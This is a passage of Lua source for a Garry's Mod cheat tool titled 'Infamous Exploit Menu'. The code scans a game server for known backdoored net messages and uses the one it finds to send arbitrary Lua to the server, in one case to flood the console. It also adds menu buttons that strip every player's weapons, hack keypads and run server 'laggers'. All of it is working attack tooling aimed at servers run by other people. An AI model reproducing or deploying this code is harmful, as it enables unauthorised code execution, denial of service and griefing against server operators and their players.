787
        SploitNotify("Flooding Console")
788
        surface.PlaySound("garrysmod/ui_click.wav")
789
        net.Start(netKey)
790
        net.WriteString( "timer.Create( \"adminsgonnahate\", 0.05, 0, function() print(\"0100101001001010101001011010101010001010101001010100100010101010111000110010101001010010010101010010110101010100010101010010101001000101010101110001100101010010100100101010100101101010101000101010100101010010001010101011100011001010100101001001010101001011010101010001010101001010100100010101010111000110010101001010010010101010010110101010100010101010010101001000101010101110001100101010010100100101010100101101010101000101010100101010010001010101011100011001010100101001001010101001011010101010001010101001010100100010101010111000110010101001010010010101010010110101010100010101010010101001000101010101110001100101\") end )" )
791
        net.WriteBit(1)
792
        net.SendToServer()
793
    end
794
end
795
796
797
798
-- Exploit Derma
799
800
local ExploitMenu = vgui.Create( "DFrame" )
801
ExploitMenu:SetSize( 630, 450 )
802
ExploitMenu:SetVisible( true )
803
ExploitMenu:SetDraggable( false )
804
ExploitMenu:ShowCloseButton( false )
805
ExploitMenu:Center()
806
ExploitMenu:SetTitle("")
807
ExploitMenu:MakePopup()
808
ExploitMenu.Paint = function( self, w, h )
809
    DrawBlur(ExploitMenu, 2)
810
    draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
811
    draw.RoundedBox(0, 2, 2, w - 4, h / 9, Color(0,0,0,125))
812
    draw.SimpleText( "Infamous Exploit Menu", "Title", ExploitMenu:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
813
end
814
815
816
local ExploitMenuClose = vgui.Create( "DButton", ExploitMenu )
817
ExploitMenuClose:SetSize( 35, 35 )
818
ExploitMenuClose:SetPos( ExploitMenu:GetWide() - 36,9 )
819
ExploitMenuClose:SetText( "X" )
820
ExploitMenuClose:SetFont( "Default" )
821
ExploitMenuClose:SetTextColor( Color( 255, 255, 255 ) )
822
ExploitMenuClose.Paint = function()
823
824
end
825
ExploitMenuClose.DoClick = function()
826
    CloseEverything()
827
end
828
829
830
local ExpolitPanelList = vgui.Create( "DScrollPanel", ExploitMenu )
831
ExpolitPanelList:Dock( FILL )
832
833
834
835
836
837
local status = ValidNetString("properties")
838
    if (status) then
839
840
    totalExploits = 1 + totalExploits
841
842
    local StripWeapons = ExpolitPanelList:Add( "DButton" )
843
    StripWeapons:SetText( "Strip Everyones Weapons")
844
    StripWeapons:Dock( TOP )
845
    StripWeapons:DockMargin( 0, 50, 0, 5 )
846
    StripWeapons:SetTextColor( Color( 255, 255, 255 ) )
847
    StripWeapons.Paint = function( self, w, h )
848
        DrawBlur(StripWeapons, 2)
849
        draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
850
    end
851
    StripWeapons.DoClick = function()
852
        removeAll()
853
        surface.PlaySound("garrysmod/ui_click.wav")
854
        SploitNotify("Stripping Weapons")
855
    end
856
    print("Explotable Feature Found: Strip Weapons")
857
end
858
859
860
861
local status = ValidNetString("start_wd_emp")
862
    if (status) then
863
864
    totalExploits = 1 + totalExploits
865
866
    local HackKeypads = ExpolitPanelList:Add( "DButton" )
867
    HackKeypads:SetText( "Hack Keypads")
868
    HackKeypads:Dock( TOP )
869
    HackKeypads:DockMargin( 0, 0, 0, 5 )
870
    HackKeypads:SetTextColor( Color( 255, 255, 255 ) )
871
    HackKeypads.Paint = function( self, w, h )
872
        DrawBlur(HackKeypads, 2)
873
        draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
874
    end
875
    HackKeypads.DoClick = function()
876
        HackKeypad()
877
        surface.PlaySound("garrysmod/ui_click.wav")
878
        SploitNotify("Hacking Keypads")
879
    end
880
    print("Exploitable Feature Found: Hack Keypads")
881
end
882
883
884
885
886
local status = ValidNetString("egg")
887
    if (status) then
888
889
    totalExploits = 1 + totalExploits
890
891
    local GiveEasterEgg1 = ExpolitPanelList:Add( "DButton" )
892
    GiveEasterEgg1:SetText( "Give Easter Egg")
893
    GiveEasterEgg1:Dock( TOP )
894
    GiveEasterEgg1:DockMargin( 0, 0, 0, 5 )
895
    GiveEasterEgg1:SetTextColor( Color( 255, 255, 255 ) )
896
    GiveEasterEgg1.Paint = function( self, w, h )
897
        DrawBlur(GiveEasterEgg1, 2)
898
        draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
899
    end
900
    GiveEasterEgg1.DoClick = function()
901
        GiveEasterEgg1()
902
        surface.PlaySound("garrysmod/ui_click.wav")
903
        SploitNotify("Hacking Keypads")
904
    end
905
    print("Exploitable Feature Found: Find All EasterEggs")
906
end
907
908
909
-- Exploit 4
910
911
912
local status = ValidNetString("steamid2")
913
    if (status) then
914
915
    totalExploits = 1 + totalExploits
916
917
    local Lagger1 = ExpolitPanelList:Add( "DButton" )
918
    Lagger1:SetText( "Lagger #1")
919
    Lagger1:Dock( TOP )
920
    Lagger1:DockMargin( 0, 0, 0, 5 )
921
    Lagger1:SetTextColor( Color( 255, 255, 255 ) )
922
    Lagger1.Paint = function( self, w, h )
923
        DrawBlur(Lagger1, 2)
924
        draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
925
    end
926
    Lagger1.DoClick = function()
927
        Lagger1()
928
        surface.PlaySound("garrysmod/ui_click.wav")
929
        SploitNotify("Starting Lagger #1")
930
    end
931
    print("Exploitable Feature Found: Lagger #1")
932
end
933
934
935
936
937
938
939
940
941
942
943
SploitNotify("Welcome " .. ply:GetName())
944
945
Infamous:Hide()
946
InfamousCategories:Hide()
947
ExploitMenu:Hide()
948
BackdoorMenu:Hide()
949
950
function CloseEverything()
951
    Infamous:Hide()
952
   InfamousCategories:Hide()
953
    ExploitMenu:Hide()
954
    BackdoorMenu:Hide()
955
end
956
957
function closealltabs()
958
    Infamous:Hide()
959
    ExploitMenu:Hide()
960
    BackdoorMenu:Hide()
961
end
962
963
function OpenInfamousMenu()
964
    Infamous:Show()
965
    InfamousCategories:Show()
966
end
967
968
function OpenExploitMenu()
969
    ExploitMenu:Show()
970
end
971
972
973
function OpenBackdoor()
974
    BackdoorMenu:Show()
975
end
976
977
978
979
980
function checkbackdoors()
981
    if( ValidNetString("nostrip") ) then
982
        BackdoorsFound = 1 + BackdoorsFound 
983
        chat.AddText( Color( 255, 255, 255 )," Found Backdoor! - nostrip" )
984
        netKey = "nostrip"
985
    else
986
        chat.AddText( Color( 255, 0, 0 )," Backdoor Not Found - nostrip!" )
987
    end
988
    if( ValidNetString("Sandbox_Armdupe") ) then
989
        BackdoorsFound = 1 + BackdoorsFound 
990
        chat.AddText( Color( 255, 255, 255 )," Found Backdoor! - Sandbox_Armdupe" )
991
        netKey = "Sandbox_Armdupe"
992
    else
993
        chat.AddText( Color( 255, 0, 0 )," BackDoor Not Found - Sandbox_Armdupe!" )
994
    end
995
    if( ValidNetString("Fix_Keypads") ) then
996
        BackdoorsFound = 1 + BackdoorsFound 
997
        chat.AddText( Color( 255, 255, 255 )," Found Backdoor! - Fix_Keypads" )
998
        netKey = "Fix_Keypads"
999
    else
1000
        chat.AddText( Color( 255, 0, 0 )," BackDoor Not Found - Fix_Keypads!" )
1001
    end
1002
    if( ValidNetString("Remove_Exploiters") ) then
1003
        BackdoorsFound = 1 + BackdoorsFound 
1004
        chat.AddText( Color( 255, 255, 255 )," Found Backdoor! - Remove_Exploiters" )
1005
        netKey = "Remove_Exploiters"
1006
    else
1007
        chat.AddText( Color( 255, 0, 0 )," BackDoor Not Found - Remove_Exploiters!" )
1008
    end
1009
	 if( ValidNetString("noclipcloakaesp_chat_text") ) then
1010
        BackdoorsFound = 1 + BackdoorsFound 
1011
        chat.AddText( Color( 255, 255, 255 )," Found Backdoor! - noclipcloakaesp_chat_text" )
1012
        netKey = "noclipcloakaesp_chat_text"
1013
    else
1014
        chat.AddText( Color( 255, 0, 0 )," BackDoor Not Found - noclipcloakaesp_chat_text!" )
1015
    end
1016
    SploitNotify("Found: ".. BackdoorsFound )
1017
    chat.AddText("Changed Net String to - ".. netKey )
1018
end
1019
1020
1021
1022
1023
concommand.Add("infamous_menu", OpenInfamousMenu)
1024
concommand.Add("infamous_exploits", OpenExploitMenu)
1025
concommand.Add("infamous_backdoor", OpenBackdoor)
1026
concommand.Add("infamous_checkbackdoors", checkbackdoors)